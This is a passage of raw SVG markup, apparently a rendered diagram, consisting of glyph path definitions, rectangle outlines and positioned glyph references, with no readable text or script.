-4.109375"/></symbol><symbol overflow="visible" id="D"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="E"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="F"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="G"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="H"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="I"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="J"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="K"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="L"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="M"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="N"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="O"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="P"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Q"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="S"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="T"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="U"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="V"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="W"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="X"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol></defs><path fill="#fff" d="M0 0H707V478H0z"/><path d="M 24.194 15.513817 L 59.46568 15.513817 L 59.46568 38.091747 L 24.194 38.091747 Z M 24.194 15.513817" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 57.890625 44.359375 L 187.191406 44.359375 L 187.191406 70.609375 L 57.890625 70.609375 Z M 57.890625 44.359375" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="57.891" y="65.012"/><use xlink:href="#b" x="66.367" y="65.012"/><use xlink:href="#c" x="75" y="65.012"/><use xlink:href="#d" x="81.758" y="65.012"/><use xlink:href="#e" x="87.266" y="65.012"/><use xlink:href="#f" x="95.273" y="65.012"/><use xlink:href="#g" x="99.941" y="65.012"/><use xlink:href="#h" x="109.395" y="65.012"/><use xlink:href="#h" x="118.047" y="65.012"/><use xlink:href="#i" x="126.699" y="65.012"/><use xlink:href="#j" x="132.188" y="65.012"/><use xlink:href="#c" x="140.449" y="65.012"/><use xlink:href="#c" x="147.207" y="65.012"/><use xlink:href="#k" x="153.965" y="65.012"/><use xlink:href="#l" x="160.879" y="65.012"/><use xlink:href="#m" x="168.398" y="65.012"/><use xlink:href="#j" x="177.09" y="65.012"/><path d="M 26.601422 18.296239 L 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 36.158153 L 57.058062 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 18.296239 L 26.601422 18.296239 C 26.435797 18.296239 26.301422 18.430419 26.301422 18.596239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 18.596239 C 57.358062 18.430419 57.223883 18.296239 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 18.596239 L 26.301422 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 35.858153 L 26.301422 35.858153 C 26.301422 36.023778 26.435797 36.158153 26.601422 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.058062 36.158153 L 57.058062 36.158153 C 57.223883 36.158153 57.358062 36.023778 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="146.359"/><use xlink:href="#o" x="93.102" y="146.359"/><use xlink:href="#o" x="102.008" y="146.359"/><use xlink:href="#p" x="110.914" y="146.359"/><use xlink:href="#q" x="116.773" y="146.359"/><use xlink:href="#r" x="125.328" y="146.359"/><use xlink:href="#s" x="132.32" y="146.359"/><use xlink:href="#t" x="136.422" y="146.359"/><use xlink:href="#u" x="141.285" y="146.359"/><use xlink:href="#v" x="145.777" y="146.359"/><use xlink:href="#q" x="154.762" y="146.359"/><use xlink:href="#s" x="163.316" y="146.359"/><use xlink:href="#w" x="167.418" y="146.359"/><path d="M 197.308594 118.835938 L 605.308594 118.835938 L 605.308594 158.835938 L 197.308594 158.835938 Z M 197.308594 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 124.835938 L 197.308594 118.835938 C 193.996094 118.835938 191.308594 121.519531 191.308594 124.835938 Z M 197.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 124.835938 L 611.308594 124.835938 C 611.308594 121.519531 608.625 118.835938 605.308594 118.835938 Z 